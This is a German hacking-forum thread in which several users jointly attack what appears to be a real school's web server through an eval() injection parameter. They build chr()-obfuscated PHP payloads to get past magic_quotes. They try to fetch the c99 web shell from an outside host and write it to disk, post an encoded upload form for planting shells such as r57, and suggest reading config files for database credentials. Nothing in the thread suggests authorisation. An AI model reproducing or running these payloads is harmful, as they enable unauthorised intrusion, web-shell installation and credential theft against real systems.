-
Verdammt :)
Fällt euch irgendein Workaround ein, so etwas in der Art, alle " oder ' zu ersetzen durch andere Konstrukte?
MfG RikuXan
Edit: Also:
PHP-Code:
?eval=$str=magic_quotes_gpc; echo var_dump(ini_get($str));
ergibt
Also ist magic_quotes_gpc wohl an. Kann ich das vielleicht irgendwie mit ini_set() ausschalten?
-
Ich halte es für unwahrscheinlich, aber probier doch einfach mal das da:
PHP-Code:
$str=magic_quotes_gpc; ini_set($str, 0); echo "Test";
-
Also ohne die Anführungszeichen vor und nach Test wird alles ausgegeben, aber
PHP-Code:
$str=magic_quotes_gpc; echo ini_get($str);
ergibt immer noch 1.
Kann man vielleicht alle Strings in Variablen ohne " schreiben und dann für fwrite etc. benutzen?
MfG RikuXan
Edit: So habe es jetzt geschafft per stringverknüpfungen und chr() für alle punkte slashes etc. mir die strings zu basteln. Habe dann VeN0ms Script genommen und alles ersetzt. Sieht so aus:
PHP-Code:
$rfile=http.chr(58).chr(47).chr(47).raku.chr(46).ro.chr(46).ohost.chr(46).de.chr(47).c99.chr(46).txt; $lfile=c99.chr(46).php; $f = fopen($lfile,chr(97)); fwrite($f,file_get_contents($rfile)); fclose($f);
Jetzt kommt aber als Error:
PHP-Code:
Warning: fopen(c99.php) [function.fopen]: failed to open stream: Permission denied in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1
Was genau funktioniert jetzt nicht? chmod kann es doch nicht sein, da er ja nicht versucht in ein existierendes file zu schreiben, sondern eines zu erstellen, oder muss ich den Ordner chmodden?
-
Woaow, das ist ziemlich clever, Respekt, ich bin da irgendwie nicht drauf gekommen. ;) Probier mal, ob das folgende funktioniert und Google anzeigt:
PHP-Code:
?eval=$h = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(103).chr(111).chr(111).chr(103).chr(108).chr(101).chr(46).chr(100).chr(101).chr(47); echo file_get_contents($h);
Wenn nicht, hast Du wahrscheinlich keinen Zugriff auf externe Seiten. Aber wir finden sicher eine Lösung, ich konvertier mal nachher das Upload-Skript, ist ja nicht allzu schwer. Du kannst Dir so relativ einfach Strings in so ein chr()-Gebilde umwandeln:
PHP-Code:
for($i = 0; $i != strlen($str); $i++)
echo "chr(".ord($str[$i]).").";
-
Das Upload-Script hab ich schon konvertiert. mein Problem ist jetzt nur, dass mir fopen eben den Fehler angibt, von wegen nicht ausreichende berechtigungen um file zu erstellen und die chmod-Funktion bricht auch mit permission denied ab.
Und ja es zeigt google an, aber das Problem liegt ja nicht am remote-file lesen sondern am local-file schreiben ;)
PHP-Code:
$mode = a; $rfile=http.chr(58).chr(47).chr(47).roku.chr(46).ro.chr(46).ohost.chr(46).de.chr(47).c99.chr(46).txt; $lfile=c99.chr(46).php; $f = fopen($lfile,$mode); fwrite($f,file_get_contents($rfile)); fclose($f);
MfG RikuXan
-
Schonmal versucht statt eine Datei mit der Shell anzulegen einfach die Shell per include(...) einzubinden?
Ist weniger Code und weniger zu escapen (nur der Pfad zu der Shell)...
-
RFI wäre ja einfach, aber allow_url_include ist off, also muss ich die shell zuerst auf den server bringen soweit ich mich noch erinnern kann oder? Kann aber auch sein, dass ich etwas ganz offensichtliches übersehe, hatte ewig keine R/LFI mehr.
MfG RikuXan
-
Also mit anderen Worten: Bei folgendem Code bekommst Du eine Berechtigungsfehlermeldung, ja?
PHP-Code:
?eval=$h = fopen(chr(116).chr(101).chr(115).chr(116).chr(46).chr(116).chr(120).chr(116), chr(97)); fwrite($h, chr(65).chr(66).chr(67)); fclose($h);
Du könntest Dir aus Juchs mal den Ordnerinhalt anzeigen lassen, und schauen, ob nicht irgendwo brisante Konfigurationsdateien lagern. Für eine Datenbankverbindung beispielsweise müssen ja irgendwo die Verbindungsdaten im Klartext lagern.
Inhalt des Ordners ausgeben:
PHP-Code:
?eval=$h = opendir(chr(46)); while($d = readdir($h)) echo $d.chr(60).chr(98).chr(114).chr(32).chr(47).chr(62); closedir($h);
Anschließend könntest Du die Dateien mit file_get_contents ausgeben und mal nachschauen.
... und der Vollständigkeit halber nochmal das Upload-Skript. Bei mir funktioniert das auch optimal, aber da könnte es wieder Berechtigungsprobleme geben:
PHP-Code:
?eval=echo chr(60).chr(102).chr(111).chr(114).chr(109).chr(32).chr(97).chr(99).chr(116).chr(105).chr(111).chr(110).chr(61).chr(34).chr(34).chr(32).chr(101).chr(110).chr(99).chr(116).chr(121).chr(112).chr(101).chr(61).chr(34).chr(109).chr(117).chr(108).chr(116).chr(105).chr(112).chr(97).chr(114).chr(116).chr(47).chr(102).chr(111).chr(114).chr(109).chr(45).chr(100).chr(97).chr(116).chr(97).chr(34).chr(32).chr(109).chr(101).chr(116).chr(104).chr(111).chr(100).chr(61).chr(34).chr(80).chr(79).chr(83).chr(84).chr(34).chr(62).chr(60).chr(105).chr(110).chr(112).chr(117).chr(116).chr(32).chr(110).chr(97).chr(109).chr(101).chr(61).chr(34).chr(102).chr(105).chr(108).chr(101).chr(34).chr(32).chr(116).chr(121).chr(112).chr(101).chr(61).chr(34).chr(102).chr(105).chr(108).chr(101).chr(34).chr(32).chr(47).chr(62).chr(60).chr(105).chr(110).chr(112).chr(117).chr(116).chr(32).chr(116).chr(121).chr(112).chr(101).chr(61).chr(34).chr(115).chr(117).chr(98).chr(109).chr(105).chr(116).chr(34).chr(32).chr(47).chr(62).chr(60).chr(47).chr(102).chr(111).chr(114).chr(109).chr(62); if(isset($_FILES[chr(102).chr(105).chr(108).chr(101)])) { move_uploaded_file($_FILES[chr(102).chr(105).chr(108).chr(101)][chr(116).chr(109).chr(112).chr(95).chr(110).chr(97).chr(109).chr(101)], chr(46).chr(47).$_FILES[chr(102).chr(105).chr(108).chr(101)][chr(110).chr(97).chr(109).chr(101)]); echo chr(60).chr(97).chr(32).chr(104).chr(114).chr(101).chr(102).chr(61).chr(34).chr(46).chr(47).$_FILES[chr(102).chr(105).chr(108).chr(101)][chr(110).chr(97).chr(109).chr(101)].chr(34).chr(32).chr(116).chr(97).chr(114).chr(103).chr(101).chr(116).chr(61).chr(34).chr(95).chr(98).chr(108).chr(97).chr(110).chr(107).chr(34).chr(62).chr(79).chr(75).chr(33).chr(60).chr(47).chr(97).chr(62); }
-
Das Verzeichnis ausgeben ist schonmal eine gute Idee.
Hast Du mal geprüft, ob nicht vielleicht bereits eine c99.php existiert, auf die Du keine Schreibrechte hast?
Code:
chmod("c99.php",0777);
Oder einen anderen Dateinamen versuchen.
Dass der Benutzer selbst nicht genug Rechte für fopen() hat glaube ich nicht.
-
Also, wie Ken schon vermutet hat ergibt der erste Code die normale fopen() Permission denied Fehlermeldung.
Der zweite Code ist nützlich, aber ich wüsste nicht genau nach welchen config-files ich ausschau halten sollte. Der Server läuft auf lenny - Debian mit PHP 5.2.6-1 . Vielleicht hat ja jemand ein Script zum Dumpen des ganzen Servers rumliegen :)
Code 3 ergibt:
PHP-Code:
Warning: move_uploaded_file(./r57.php) [function.move-uploaded-file]: failed to open stream: Permission denied in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1
Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move '/tmp/php1WnBH2' to './r57.php' in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code on line 1
OK!
Und @ VeN0M: Nein, existiert auch nicht und außerdem bekomme ich bei chmod auch eine Permission denied, ist wahrscheinlich ftp-only chmod. Kann es auch nicht glauben, dass das erstellen von files verboten ist.
MfG RikuXan